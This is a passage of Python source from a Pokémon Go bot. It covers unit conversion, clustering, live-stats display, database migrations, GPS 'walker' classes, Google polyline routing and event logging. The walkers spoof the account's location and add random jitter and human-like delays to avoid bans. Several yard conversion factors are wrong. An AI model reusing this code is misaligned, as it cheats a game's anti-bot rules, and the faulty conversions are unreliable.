               "yd": 0.00109361,
               "mi": 1.0 / 1609340.0007802},
        "cm": {"mm": 10.0,
               "cm": 1.0,
               "m": 1.0 / 100,
               "km": 1.0 / 100000,
               "ft": 0.0328084,
               "yd": 0.0109361,
               "mi": 1.0 / 160934.0},
        "m": {"mm": 1000,
              "cm": 100.0,
              "m": 1.0,
              "km": 1.0 / 1000.0,
              "ft": 3.28084,
              "yd": 1.09361,
              "mi": 1.0 / 1609.34},
        "km": {"mm": 100000,
               "cm": 10000.0,
               "m": 1000.0,
               "km": 1.0,
               "ft": 3280.84,
               "yd": 1093.61,
               "mi": 1.0 / 1.60934},
        "ft": {"mm": 1.0 / 328.084,
               "cm": 1.0 / 32.8084,
               "m": 1.0 / 3.28084,
               "km": 1 / 3280.84,
               "ft": 1.0,
               "yd": 1.0 / 3.0,
               "mi": 1.0 / 5280.0},
        "yd": {"mm": 1.0 / 328.084,
               "cm": 1.0 / 32.8084,
               "m": 1.0 / 3.28084,
               "km": 1 / 1093.61,
               "ft": 3.0,
               "yd": 1.0,
               "mi": 1.0 / 1760.0},
        "mi": {"mm": 1609340.0007802,
               "cm": 160934.0,
               "m": 1609.34,
               "km": 1.60934,
               "ft": 5280.0,
               "yd": 1760.0,
               "mi": 1.0}
    }
    return distance * conversions[from_unit][to_unit]


def dist_to_str(distance, unit):
    return '{:.2f}{}'.format(distance, unit)


def format_dist(distance, unit):
    # Assumes that distance is in meters and converts it to the given unit, then a formatted string is returned
    # Ex: format_dist(1500, 'km') returns the string "1.5km"
    return dist_to_str(convert(distance, 'm', unit), unit)


def getSeconds(strTime):
    '''
    Return the duration in seconds of a time string
    :param strTime: string time of format %H:%M:%S
    '''
    try:
        x = dt.strptime(strTime, '%H:%M:%S')
        seconds = int(timedelta(hours=x.hour,minutes=x.minute,seconds=x.second).total_seconds())
    except ValueError: 
        seconds = 0;
        
    if seconds < 0:
        seconds = 0;
          
    return seconds
    
def format_time(seconds):
    # Return a string displaying the time given as seconds or minutes
    num, duration = 0, long(round(seconds))
    runtime = []
    for period, unit in TIME_PERIODS[::-1]:
        num, duration = divmod(duration, period)
        if num:
            p = '{0}{1}'.format(unit, 's'*(num!=1))
            runtime.append('{0} {1}'.format(num, p))

    runtime.append('{0} second{1}'.format(duration, 's'*(duration!=1)))

    return ', '.join(runtime)


def i2f(int):
    return struct.unpack('<d', struct.pack('<Q', int))[0]


def print_green(message):
    print(u'\033[92m' + message.decode('utf-8') + '\033[0m')


def print_yellow(message):
    print(u'\033[93m' + message.decode('utf-8') + '\033[0m')


def print_red(message):
    print(u'\033[91m' + message.decode('utf-8') + '\033[0m')


def float_equal(f1, f2, epsilon=1e-8):
  if f1 > f2:
    return f1 - f2 < epsilon
  if f2 > f1:
    return f2 - f1 < epsilon
  return True


# pseudo mercator projection
EARTH_RADIUS_MAJ = 6378137.0
EARTH_RADIUS_MIN = 6356752.3142
RATIO = (EARTH_RADIUS_MIN / EARTH_RADIUS_MAJ)
ECCENT = sqrt(1.0 - RATIO**2)
COM = 0.5 * ECCENT


def coord2merc(lat, lng):
    return lng2x(lng), lat2y(lat)


def merc2coord(vec):
    return y2lat(vec[1]), x2lng(vec[0])


def y2lat(y):
    ts = exp(-y / EARTH_RADIUS_MAJ)
    phi = pi / 2.0 - 2 * atan(ts)
    dphi = 1.0
    for i in range(15):
        if abs(dphi) < 0.000000001:
            break
        con = ECCENT * sin(phi)
        dphi = pi / 2.0 - 2 * atan (ts * pow((1.0 - con) / (1.0 + con), COM)) - phi
        phi += dphi
    return rad2deg(phi)


def lat2y(lat):
    lat = min(89.5, max(lat, -89.5))
    phi = deg2rad(lat)
    sinphi = sin(phi)
    con = ECCENT * sinphi
    con = pow((1.0 - con) / (1.0 + con), COM)
    ts = tan(0.5 * (pi * 0.5 - phi)) / con
    return 0 - EARTH_RADIUS_MAJ * log(ts)


def x2lng(x):
    return rad2deg(x) / EARTH_RADIUS_MAJ


def lng2x(lng):
    return EARTH_RADIUS_MAJ * deg2rad(lng);


def deg2rad(deg):
    return deg * pi / 180.0


def rad2deg(rad):
    return rad * 180.0 / pi


def find_biggest_cluster(radius, points, order=None):
    graph = nx.Graph()
    for point in points:
            if order is '9QM=':
                #is a lure module - 9QM=
                now = int(time.time())
                remaining = now - point['last_modified_timestamp_ms']
                f = point['latitude'], point['longitude'], remaining
            else:
                f = point['latitude'], point['longitude'], 0
            graph.add_node(f)
            for node in graph.nodes():
                if node != f and distance(f[0], f[1], node[0], node[1]) <= radius*2:
                    graph.add_edge(f, node)
    cliques = list(find_cliques(graph))
    if len(cliques) > 0:
        max_clique = max(list(find_cliques(graph)), key=lambda l: (len(l), sum(x[2] for x in l)))
        merc_clique = [coord2merc(x[0], x[1]) for x in max_clique]
        clique_x, clique_y = zip(*merc_clique)
        best_point = np.mean(clique_x), np.mean(clique_y)
        best_coord = merc2coord(best_point)
        return {'latitude': best_coord[0], 'longitude': best_coord[1], 'num_points': len(max_clique)}
    else:
        return None






import ctypes
from sys import stdout, platform as _platform
from datetime import datetime, timedelta

from pokemongo_bot.base_task import BaseTask
from pokemongo_bot.worker_result import WorkerResult
from pokemongo_bot.tree_config_builder import ConfigException


class UpdateLiveStats(BaseTask):
    """
    Periodically displays stats about the bot in the terminal and/or in its title.

    Fetching some stats requires making API calls. If you're concerned about the amount of calls
    your bot is making, don't enable this worker.

    Example config :
    {
        "type": "UpdateLiveStats",
        "config": {
            "min_interval": 10,
            "stats": ["login", "uptime", "km_walked", "level_stats", "xp_earned", "xp_per_hour"],
            "terminal_log": true,
            "terminal_title": false
        }
    }

    min_interval : The minimum interval at which the stats are displayed,
                   in seconds (defaults to 120 seconds).
                   The update interval cannot be accurate as workers run synchronously.
    stats : An array of stats to display and their display order (implicitly),
            see available stats below (defaults to []).
    terminal_log : Logs the stats into the terminal (defaults to false).
    terminal_title : Displays the stats into the terminal title (defaults to true).

    Available stats :
    - login : The account login (from the credentials).
    - username : The trainer name (asked at first in-game connection).
    - uptime : The bot uptime.
    - km_walked : The kilometers walked since the bot started.
    - level : The current character's level.
    - level_completion : The current level experience, the next level experience and the completion
                         percentage.
    - level_stats : Puts together the current character's level and its completion.
    - xp_per_hour : The estimated gain of experience per hour.
    - xp_earned : The experience earned since the bot started.
    - stops_visited : The number of visited stops.
    - pokemon_encountered : The number of encountered pokemon.
    - pokemon_caught : The number of caught pokemon.
    - captures_per_hour : The estimated number of pokemon captured per hour.
    - pokemon_released : The number of released pokemon.
    - pokemon_evolved : The number of evolved pokemon.
    - pokemon_unseen : The number of pokemon never seen before.
    - pokemon_stats : Puts together the pokemon encountered, caught, released, evolved and unseen.
    - pokeballs_thrown : The number of thrown pokeballs.
    - stardust_earned : The number of earned stardust since the bot started.
    - highest_cp_pokemon : The caught pokemon with the highest CP since the bot started.
    - most_perfect_pokemon : The most perfect caught pokemon since the bot started.
    - location : The location where the player is located.
    - next_egg_hatching : The remaining distance to the next egg hatching (km).
    - hatched_eggs : The number of hatched eggs since the bot started.
    """
    SUPPORTED_TASK_API_VERSION = 1

    def __init__(self, bot, config):
        """
        Initializes the worker.
        :param bot: The bot instance.
        :type bot: PokemonGoBot
        :param config: The task configuration.
        :type config: dict
        """
        super(UpdateLiveStats, self).__init__(bot, config)

        self.next_update = None

        self.min_interval = int(self.config.get('min_interval', 120))
        self.displayed_stats = self.config.get('stats', [])
        self.terminal_log = bool(self.config.get('terminal_log', False))
        self.terminal_title = bool(self.config.get('terminal_title', True))

        self.bot.event_manager.register_event('log_stats', parameters=('stats', 'stats_raw'))

    def initialize(self):
        pass

    def work(self):
        """
        Displays the stats if necessary.
        :return: Always returns WorkerResult.SUCCESS.
        :rtype: WorkerResult
        """
        if not self._should_display():
            return WorkerResult.SUCCESS
        line = self._get_stats_line(self._get_player_stats())
        # If line is empty, it couldn't be generated.
        if not line:
            return WorkerResult.SUCCESS

        if self.terminal_title:
            self._update_title(line, _platform)

        if self.terminal_log:
            self._log_on_terminal(line)
        return WorkerResult.SUCCESS

    def _should_display(self):
        """
        Returns a value indicating whether the stats should be displayed.
        :return: True if the stats should be displayed; otherwise, False.
        :rtype: bool
        """
        if not self.terminal_title and not self.terminal_log:
            return False
        return self.next_update is None or datetime.now() >= self.next_update

    def _compute_next_update(self):
        """
        Computes the next update datetime based on the minimum update interval.
        :return: Nothing.
        :rtype: None
        """
        self.next_update = datetime.now() + timedelta(seconds=self.min_interval)

    def _log_on_terminal(self, stats):
        """
        Logs the stats into the terminal using an event.
        :param stats: The stats to display.
        :type stats: string
        :return: Nothing.
        :rtype: None
        """
        self.emit_event(
            'log_stats',
            formatted="{stats}",
            data={
                'stats': stats,
                'stats_raw': self._get_stats(self._get_player_stats())
            }
        )
        self._compute_next_update()

    def _update_title(self, title, platform):
        """
        Updates the window title using different methods, according to the given platform.
        :param title: The new window title.
        :type title: string
        :param platform: The platform string.
        :type platform: string
        :return: Nothing.
        :rtype: None
        :raise: RuntimeError: When the given platform isn't supported.
        """

        try:
            if platform == "linux" or platform == "linux2" or platform == "cygwin":
                stdout.write("\x1b]2;{}\x07".format(title))
                stdout.flush()
            elif platform == "darwin":
                stdout.write("\033]0;{}\007".format(title))
                stdout.flush()
            elif platform == "win32":
                ctypes.windll.kernel32.SetConsoleTitleA(title.encode())
            else:
                raise RuntimeError("unsupported platform '{}'".format(platform))
        except AttributeError:
            self.emit_event(
                'log_stats',
                level='error',
                formatted="Unable to write window title"
            )
            self.terminal_title = False

        self._compute_next_update()

    def _get_stats(self, player_stats):
        metrics = self.bot.metrics
        metrics.capture_stats()
        runtime = metrics.runtime()
        login = self.bot.config.username
        player_data = self.bot.player_data
        username = player_data.get('username', '?')
        distance_travelled = metrics.distance_travelled()
        current_level = int(player_stats.get('level', 0))
        prev_level_xp = int(player_stats.get('prev_level_xp', 0))
        next_level_xp = int(player_stats.get('next_level_xp', 0))
        experience = player_stats.get('experience', 0)
        current_level_xp = experience - prev_level_xp
        whole_level_xp = next_level_xp - prev_level_xp
        level_completion_percentage = (current_level_xp * 100) / whole_level_xp
        experience_per_hour = metrics.xp_per_hour()
        xp_earned = metrics.xp_earned()
        stops_visited = metrics.visits['latest'] - metrics.visits['start']
        pokemon_encountered = metrics.num_encounters()
        pokemon_caught = metrics.num_captures()
        captures_per_hour = metrics.captures_per_hour()
        pokemon_released = metrics.releases
        pokemon_evolved = metrics.num_evolutions()
        pokemon_unseen = metrics.num_new_mons()
        pokeballs_thrown = metrics.num_throws()
        stardust_earned = metrics.earned_dust()
        highest_cp_pokemon = metrics.highest_cp['desc']
        if not highest_cp_pokemon:
            highest_cp_pokemon = "None"
        most_perfect_pokemon = metrics.most_perfect['desc']
        if not most_perfect_pokemon:
            most_perfect_pokemon = "None"
        next_egg_hatching = metrics.next_hatching_km(0)
        hatched_eggs = metrics.hatched_eggs(0)

        # Create stats strings.
        available_stats = {
            'login': login,
            'username': username,
            'uptime': '{}'.format(runtime),
            'km_walked': distance_travelled,
            'level': current_level,
            'experience': experience,
            'current_level_xp': whole_level_xp,
            'whole_level_xp': whole_level_xp,
            'level_completion_percentage': level_completion_percentage,
            'xp_per_hour': experience_per_hour,
            'xp_earned': xp_earned,
            'stops_visited': stops_visited,
            'pokemon_encountered': pokemon_encountered,
            'pokemon_caught': pokemon_caught,
            'captures_per_hour': captures_per_hour,
            'pokemon_released': pokemon_released,
            'pokemon_evolved': pokemon_evolved,
            'pokemon_unseen': pokemon_unseen,
            'pokeballs_thrown': pokeballs_thrown,
            'stardust_earned': stardust_earned,
            'highest_cp_pokemon': highest_cp_pokemon,
            'most_perfect_pokemon': most_perfect_pokemon,
            'location': [self.bot.position[0], self.bot.position[1]],
            'next_egg_hatching': float(next_egg_hatching),
            'hatched_eggs': hatched_eggs
        }

        return available_stats

    def _get_stats_line(self, player_stats):
        """
        Generates a stats string with the given player stats according to the configuration.
        :return: A string containing human-readable stats, ready to be displayed.
        :rtype: string
        """
        # No player stats available, won't be able to gather all informations.
        if player_stats is None:
            return ''
        # No stats to display, avoid any useless overhead.
        if not self.displayed_stats:
            return ''

        # Gather stats values.
        metrics = self.bot.metrics
        metrics.capture_stats()
        runtime = metrics.runtime()
        login = self.bot.config.username
        player_data = self.bot.player_data
        username = player_data.get('username', '?')
        distance_travelled = metrics.distance_travelled()
        current_level = int(player_stats.get('level', 0))
        prev_level_xp = int(player_stats.get('prev_level_xp', 0))
        next_level_xp = int(player_stats.get('next_level_xp', 0))
        experience = int(player_stats.get('experience', 0))
        current_level_xp = experience - prev_level_xp
        whole_level_xp = next_level_xp - prev_level_xp
        level_completion_percentage = int((current_level_xp * 100) / whole_level_xp)
        experience_per_hour = int(metrics.xp_per_hour())
        xp_earned = metrics.xp_earned()
        stops_visited = metrics.visits['latest'] - metrics.visits['start']
        pokemon_encountered = metrics.num_encounters()
        pokemon_caught = metrics.num_captures()
        captures_per_hour = int(metrics.captures_per_hour())
        pokemon_released = metrics.releases
        pokemon_evolved = metrics.num_evolutions()
        pokemon_unseen = metrics.num_new_mons()
        pokeballs_thrown = metrics.num_throws()
        stardust_earned = metrics.earned_dust()
        highest_cp_pokemon = metrics.highest_cp['desc']
        if not highest_cp_pokemon:
            highest_cp_pokemon = "None"
        most_perfect_pokemon = metrics.most_perfect['desc']
        if not most_perfect_pokemon:
            most_perfect_pokemon = "None"
        next_egg_hatching = metrics.next_hatching_km(0)
        hatched_eggs = metrics.hatched_eggs(0)

        # Create stats strings.
        available_stats = {
            'login': login,
            'username': username,
            'uptime': 'Uptime : {}'.format(runtime),
            'km_walked': '{:,.2f}km walked'.format(distance_travelled),
            'level': 'Level {}'.format(current_level),
            'level_completion': '{:,} / {:,} XP ({}%)'.format(current_level_xp, whole_level_xp,
                                                              level_completion_percentage),
            'level_stats': 'Level {} ({:,} / {:,}, {}%)'.format(current_level, current_level_xp,
                                                                whole_level_xp,
                                                                level_completion_percentage),
            'xp_per_hour': '{:,} XP/h'.format(experience_per_hour),
            'xp_earned': '+{:,} XP'.format(xp_earned),
            'stops_visited': 'Visited {:,} stops'.format(stops_visited),
            'pokemon_encountered': 'Encountered {:,} pokemon'.format(pokemon_encountered),
            'pokemon_caught': 'Caught {:,} pokemon'.format(pokemon_caught),
            'captures_per_hour': '{:,} pokemon/h'.format(captures_per_hour),
            'pokemon_released': 'Released {:,} pokemon'.format(pokemon_released),
            'pokemon_evolved': 'Evolved {:,} pokemon'.format(pokemon_evolved),
            'pokemon_unseen': 'Encountered {} new pokemon'.format(pokemon_unseen),
            'pokemon_stats': 'Encountered {:,} pokemon, {:,} caught, {:,} released, {:,} evolved, '
                             '{} never seen before'.format(pokemon_encountered, pokemon_caught,
                                                           pokemon_released, pokemon_evolved,
                                                           pokemon_unseen),
            'pokeballs_thrown': 'Threw {:,} pokeballs'.format(pokeballs_thrown),
            'stardust_earned': 'Earned {:,} Stardust'.format(stardust_earned),
            'highest_cp_pokemon': 'Highest CP pokemon : {}'.format(highest_cp_pokemon),
            'most_perfect_pokemon': 'Most perfect pokemon : {}'.format(most_perfect_pokemon),
            'location': 'Location : ({}, {})'.format(self.bot.position[0], self.bot.position[1]),
            'next_egg_hatching': 'Next egg hatches in : {:.2f} km'.format(float(next_egg_hatching)),
            'hatched_eggs': 'Hatched {} eggs.'.format(hatched_eggs)
        }

        def get_stat(stat):
            """
            Fetches a stat string from the available stats dictionary.
            :param stat: The stat name.
            :type stat: string
            :return: The generated stat string.
            :rtype: string
            :raise: ConfigException: When the provided stat string isn't in the available stats
            dictionary.
            """
            if stat not in available_stats:
                raise ConfigException("stat '{}' isn't available for displaying".format(stat))
            return available_stats[stat]

        # Map stats the user wants to see to available stats and join them with pipes.
        line = ' | '.join(map(get_stat, self.displayed_stats))

        return line

    def _get_player_stats(self):
        """
        Helper method parsing the bot inventory object and returning the player stats object.
        :return: The player stats object.
        :rtype: dict
        """
        # TODO : find a better solution than calling the api
        inventory_items = self.bot.api.get_inventory() \
            .get('responses', {}) \
            .get('GET_INVENTORY', {}) \
            .get('inventory_delta', {}) \
            .get('inventory_items', {})
        return next((x["inventory_item_data"]["player_stats"]
                     for x in inventory_items
                     if x.get("inventory_item_data", {}).get("player_stats", {})),
                    None)






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS softban_log (status text, source text, dated datetime DEFAULT CURRENT_TIMESTAMP)"
)






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS catch_log (pokemon text, cp real, iv real, encounter_id text, pokemon_id real, dated datetime DEFAULT CURRENT_TIMESTAMP)"
)






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS  pokestop_log (pokestop text, exp real, items text, dated datetime DEFAULT CURRENT_TIMESTAMP)"
)






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS evolve_log (pokemon text, iv real, cp real, dated datetime DEFAULT CURRENT_TIMESTAMP)"
)






from yoyo import step

step(
    "CREATE TABLE IF NOT EXISTS transfer_log (pokemon text, iv real, cp real, dated datetime DEFAULT CURRENT_TIMESTAMP)"
)






# -*- coding: utf-8 -*-

from random import uniform
from pokemongo_bot.human_behaviour import sleep
from pokemongo_bot.walkers.step_walker import StepWalker
from polyline_generator import PolylineObjectHandler
from pokemongo_bot.cell_workers.utils import distance
from pokemongo_bot.constants import Constants

class PolylineWalker(StepWalker):
    '''
    Heavy multi-botting can cause issues, since the directions API has limits.
    StepWalker is generated by the factory in the case.
    '''

    def __init__(self, bot, dest_lat, dest_lng):
        super(PolylineWalker, self).__init__(bot, dest_lat, dest_lng)
        self.polyline_walker = PolylineObjectHandler.cached_polyline(tuple(self.api.get_position()[:2]),
                                        (self.destLat, self.destLng), self.speed)

        self.dist = distance(
            self.bot.position[0],
            self.bot.position[1],
            dest_lat,
            dest_lng
        )

    def step(self):
        cLat, cLng = self.api._position_lat, self.api._position_lng

        if self.dist < 10: # 10m, add config? set it at constants?
            return True

        self.polyline_walker.unpause()
        sleep(1)
        self.polyline_walker.pause()
        
        cLat, cLng = self.polyline_walker.get_pos()
        alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
        self.api.set_position(cLat, cLng, alt)
        self.bot.heartbeat()
        return False







from math import sqrt

from random import uniform
from pokemongo_bot.cell_workers.utils import distance
from pokemongo_bot.human_behaviour import random_lat_long_delta, sleep


class StepWalker(object):

    def __init__(self, bot, dest_lat, dest_lng):
        self.bot = bot
        self.api = bot.api

        self.initLat, self.initLng = self.bot.position[0:2]

        self.dist = distance(
            self.initLat,
            self.initLng,
            dest_lat,
            dest_lng
        )

        self.alt = uniform(self.bot.config.alt_min, self.bot.config.alt_max)
        self.speed = uniform(self.bot.config.walk_min, self.bot.config.walk_max)

        self.destLat = dest_lat
        self.destLng = dest_lng
        self.totalDist = max(1, self.dist)

        if self.speed == 0:
            raise Exception("Walking speed cannot be 0, change your walking speed higher than 1!")
        else:
            self.steps = (self.dist + 0.0) / (self.speed + 0.0)

        if self.dist < self.speed or int(self.steps) <= 1:
            self.dLat = 0
            self.dLng = 0
            self.magnitude = 0
        else:
            self.dLat = (dest_lat - self.initLat) / int(self.steps)
            self.dLng = (dest_lng - self.initLng) / int(self.steps)
            self.magnitude = self._pythagorean(self.dLat, self.dLng)

    def step(self):
        if (self.dLat == 0 and self.dLng == 0) or self.dist < self.speed:
            self.api.set_position(self.destLat + random_lat_long_delta(), self.destLng + random_lat_long_delta(), self.alt)
            self.bot.event_manager.emit(
                'position_update',
                sender=self,
                level='debug',
                data={
                    'current_position': (self.destLat, self.destLng),
                    'last_position': (self.initLat, self.initLng),
                    'distance': '',
                    'distance_unit': ''
                }
            )
            self.bot.heartbeat()
            return True

        totalDLat = (self.destLat - self.initLat)
        totalDLng = (self.destLng - self.initLng)
        magnitude = self._pythagorean(totalDLat, totalDLng)
        unitLat = totalDLat / magnitude
        unitLng = totalDLng / magnitude

        scaledDLat = unitLat * self.magnitude
        scaledDLng = unitLng * self.magnitude

        cLat = self.initLat + scaledDLat + random_lat_long_delta()
        cLng = self.initLng + scaledDLng + random_lat_long_delta()

        self.api.set_position(cLat, cLng, self.alt)
        self.bot.event_manager.emit(
            'position_update',
            sender=self,
            level='debug',
            data={
                'current_position': (cLat, cLng),
                'last_position': (self.initLat, self.initLng),
                'distance': '',
                'distance_unit': ''
            }
        )
        self.bot.heartbeat()

        sleep(1)  # sleep one second plus a random delta
        # self._work_at_position(
        #     self.initLat, self.initLng,
        #     alt, False)

    def _pythagorean(self, lat, lng):
        return sqrt((lat ** 2) + (lng ** 2))












import time
from itertools import chain
from math import ceil

import haversine
import polyline
import requests

class PolylineObjectHandler:
    '''
    Does this need to be a class?
    More like a namespace...
    '''
    _cache = None
    _instability = 0
    _run = False

    @staticmethod
    def cached_polyline(origin, destination, speed):
        '''
        Google API has limits, so we can't generate new Polyline at every tick...
        '''

        # _cache might be None...
        is_old_cache = lambda : tuple(origin) != PolylineObjectHandler._cache.get_last_pos()
        new_dest_set = lambda : tuple(destination) != PolylineObjectHandler._cache.destination

        if PolylineObjectHandler._run and (not is_old_cache()):
            # bot used to have struggle with making a decision.
            PolylineObjectHandler._instability -= 1
            if PolylineObjectHandler._instability <= 0:
                PolylineObjectHandler._instability = 0
                PolylineObjectHandler._run = False
            pass # use current cache
        elif None == PolylineObjectHandler._cache or is_old_cache() or new_dest_set():
            # no cache, old cache or new destination set by bot, so make new polyline
            PolylineObjectHandler._instability += 2
            if 10 <= PolylineObjectHandler._instability:
                PolylineObjectHandler._run = True
                PolylineObjectHandler._instability = 20 # next N moves use same cache

            PolylineObjectHandler._cache = Polyline(origin, destination, speed)
        else:
            # valid cache found
            PolylineObjectHandler._instability -= 1
            PolylineObjectHandler._instability = max(PolylineObjectHandler._instability, 0)
            pass # use current cache
        return PolylineObjectHandler._cache


class Polyline(object):
    def __init__(self, origin, destination, speed):
        self.DIRECTIONS_API_URL='https://maps.googleapis.com/maps/api/directions/json?mode=walking'
        self.origin = origin
        self.destination = tuple(destination)
        self.DIRECTIONS_URL = '{}&origin={}&destination={}'.format(self.DIRECTIONS_API_URL,
                '{},{}'.format(*self.origin),
                '{},{}'.format(*self.destination))
        
        self.directions_response = requests.get(self.DIRECTIONS_URL).json()
        try:
        # Polyline walker starts teleporting after reaching api query limit.
        # throw error here atm, catch it at factory and return StepWalker
        # TODO Check what is happening...
            self.polyline_points = [x['polyline']['points'] for x in
                                    self.directions_response['routes'][0]['legs'][0]['steps']]
        except IndexError:
            self.polyline_points = self.directions_response['routes']
            raise # catch at factory atm...
        self.points = [self.origin] + self.get_points(self.polyline_points) + [self.destination]
        self.speed = float(speed)
        self.lat, self.long = self.points[0][0], self.points[0][1]
        self.polyline = self.combine_polylines(self.points)
        self.elevation_samples = int(min(self.get_total_distance(self.points)/self.speed +1, 512))
        self.ELEVATION_API_URL='https://maps.googleapis.com/maps/api/elevation/json?path=enc:'
        self.ELEVATION_URL = '{}{}&samples={}'.format(self.ELEVATION_API_URL,
                                                      self.polyline, self.elevation_samples)
        self.elevation_response = requests.get(self.ELEVATION_URL).json()
        self.polyline_elevations = [x['elevation'] for x in self.elevation_response['results']]
        self._timestamp = time.time()
        self.is_paused = False
        self._last_paused_timestamp = None
        self._paused_total = 0.0
        self._last_pos = (None, None)

    def reset_timestamps(self):
        self._timestamp = time.time()
        self.is_paused = False
        self._last_paused_timestamp = None
        self._paused_total = 0.0

    def get_points(self, polyline_points):
        crd_points = []
        for points in polyline_points:
            crd_points += polyline.decode(points)
        crd_points = [x for n,x in enumerate(crd_points) if x not in crd_points[:n]]
        return crd_points

    def combine_polylines(self, points):
        return polyline.encode(points)

    def pause(self):
        if not self.is_paused:
            self.is_paused = True
            self._last_paused_timestamp = time.time()

    def unpause(self):
        if self.is_paused:
            self.is_paused = False
            self._paused_total += time.time() - self._last_paused_timestamp
            self._last_paused_timestamp = None

    def walk_steps(self, points):
        if points:
            steps = zip(chain([points[0]], points),
                             chain(points, [points[-1]]))
            steps = filter(None, [(o, d) if o != d else None for o, d in steps])
            # consume the filter as list https://github.com/th3w4y/PokemonGo-Bot/issues/27
            return list(steps)
        else:
            return []

    def get_alt(self):
        max_nr_samples = 512.0
        total_seconds = self.get_total_distance(self.points)/self.speed
        if total_seconds >= max_nr_samples:
            conversion_factor = max_nr_samples/total_seconds
        else:
            conversion_factor = 1
        if not self.is_paused:
            time_passed = time.time()
        else:
            time_passed = self._last_paused_timestamp
        seconds_passed = abs(time_passed - self._timestamp - self._paused_total)
        elevation_index = int(seconds_passed*conversion_factor)
        try:
            return round(self.polyline_elevations[elevation_index], 2)
        except IndexError:
            return round(self.polyline_elevations[-1], 2)

    def get_pos(self):
        walked_distance = 0.0
        if not self.is_paused:
            time_passed = time.time()
        else:
            time_passed = self._last_paused_timestamp
        time_passed_distance = self.speed * abs(time_passed - self._timestamp - self._paused_total)
        # check if there are any steps to take https://github.com/th3w4y/PokemonGo-Bot/issues/27
        if self.walk_steps(self.points):
            steps_dict = {}
            for step in self.walk_steps(self.points):
                walked_distance += haversine.haversine(*step)*1000
                steps_dict[walked_distance] = step
            for walked_end_step in sorted(steps_dict.keys()):
                if walked_end_step >= time_passed_distance:
                    break
            step_distance = haversine.haversine(*steps_dict[walked_end_step])*1000
            if walked_end_step >= time_passed_distance:
                percentage_walked = (time_passed_distance - (walked_end_step - step_distance)) / step_distance
            else:
                percentage_walked = 1.0
            result = self.calculate_coord(percentage_walked, *steps_dict[walked_end_step])
            self._last_pos = tuple(result[0])
            return self._last_pos
        else:
            # otherwise return the destination https://github.com/th3w4y/PokemonGo-Bot/issues/27
            self._last_pos = tuple(self.points[-1])
            return self._last_pos

    def get_last_pos(self):
        return self._last_pos

    def calculate_coord(self, percentage, o, d):
        # If this is the destination then returning as such
        if self.points[-1] == d:
            return [d]
        else:
            # intermediary points returned with 5 decimals precision only
            # this ensures ~3-50cm ofset from the geometrical point calculated
            lat = o[0]+ (d[0] -o[0]) * percentage
            lon = o[1]+ (d[1] -o[1]) * percentage
            return [(round(lat, 5), round(lon, 5))]

    def get_total_distance(self, points):
        return ceil(sum([haversine.haversine(*x)*1000 for x in self.walk_steps(points)]))






import time
from math import ceil

import haversine
import polyline

from polyline_generator import Polyline

a = Polyline((47.1706378, 8.5167405), (47.1700271, 8.518072999999998), 100)
print(a.points)
print(a.polyline_elevations)
print('Walking polyline: ', a.polyline)
print('Encoded level: ','B'*len(a.points))
print('Initialted with speed: ', a.speed, 'm/s')
print('Walking time: ', ceil(sum([haversine.haversine(*x)*1000/a.speed for x in a.walk_steps(a.points)])), ' sec.')
generated_polyline = []
print(a.points[-1])
while a.points[-1] != a.get_pos():
    pos = [a.get_pos()]
    generated_polyline += pos
    print(pos, a.get_alt())
    time.sleep(0.1)
else:
    pos = [a.get_pos()]
    print(pos, a.get_alt())
    generated_polyline += pos
    print("We have reached our destination.")
print(polyline.encode(generated_polyline))
print('Encoded level: ','B'*len(generated_polyline))
print('Verify at: ', 'https://developers.google.com/maps/documentation/utilities/polylineutility')






from pokemongo_bot.walkers.polyline_walker import PolylineWalker
from pokemongo_bot.walkers.step_walker import StepWalker

def walker_factory(name, bot, dest_lat, dest_lng, *args, **kwargs):
    '''
    Charlie and the Walker Factory
    '''
    if 'StepWalker' == name:
        ret = StepWalker(bot, dest_lat, dest_lng)
    elif 'PolylineWalker' == name:
        try:
            ret = PolylineWalker(bot, dest_lat, dest_lng)
        except:
            ret = StepWalker(bot, dest_lat, dest_lng)
    return ret






# -*- coding: utf-8 -*-
from __future__ import unicode_literals


from socketIO_client import SocketIO

from pokemongo_bot.event_manager import EventHandler


class SocketIoHandler(EventHandler):


    def __init__(self, bot, url):
        self.bot = bot
        self.host, port_str = url.split(':')
        self.port = int(port_str)
        self.sio = SocketIO(self.host, self.port)

    def handle_event(self, event, sender, level, msg, data):
        if msg:
            data['msg'] = msg

        self.sio.emit(
            'bot:broadcast',
            {
                'event': event,
                'account': self.bot.config.username,
                'data': data
            }
        )






from logging_handler import LoggingHandler
from socketio_handler import SocketIoHandler
from colored_logging_handler import ColoredLoggingHandler






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import logging

from pokemongo_bot.event_manager import EventHandler


class ColoredLoggingHandler(EventHandler):
    EVENT_COLOR_MAP = {
        'api_error':                         'red',
        'bot_exit':                          'red',
        'bot_start':                         'green',
        'catch_limit':                       'red',
        'catch_log':                         'magenta',
        'config_error':                      'red',
        'egg_already_incubating':            'yellow',
        'egg_hatched':                       'green',
        'evolve_log':                        'magenta',
        'future_pokemon_release':            'yellow',
        'incubate':                          'green',
        'incubator_already_used':            'yellow',
        'inventory_full':                    'yellow',
        'item_discard_fail':                 'red',
        'item_discarded':                    'green',
        'keep_best_release':                 'green',
        'level_up':                          'green',
        'level_up_reward':                   'green',
        'location_cache_error':              'yellow',
        'location_cache_ignored':            'yellow',
        'login_failed':                      'red',
        'login_log':                         'magenta',
        'login_successful':                  'green',
        'lucky_egg_error':                   'red',
        'move_to_map_pokemon_encounter':     'green',
        'move_to_map_pokemon_fail':          'red',
        'next_egg_incubates':                'yellow',
        'next_sleep':                        'green',
        'next_random_pause':                 'green',
        'no_pokeballs':                      'red',
        'pokemon_appeared':                  'yellow',
        'pokemon_capture_failed':            'red',
        'pokemon_caught':                    'blue',
        'pokemon_evolved':                   'green',
        'pokemon_fled':                      'red',
        'pokemon_inventory_full':            'red',
        'pokemon_nickname_invalid':          'red',
        'pokemon_not_in_range':              'yellow',
        'pokemon_release':                   'green',
        'pokemon_vanished':                  'red',
        'pokestop_empty':                    'yellow',
        'pokestop_log':                      'magento',
        'pokestop_searching_too_often':      'yellow',
        'rename_pokemon':                    'green',
        'skip_evolve':                       'yellow',
        'softban':                           'red',
        'spun_pokestop':                     'cyan',
        'threw_berry_failed':                'red',
        'transfer_log':                      'magenta',
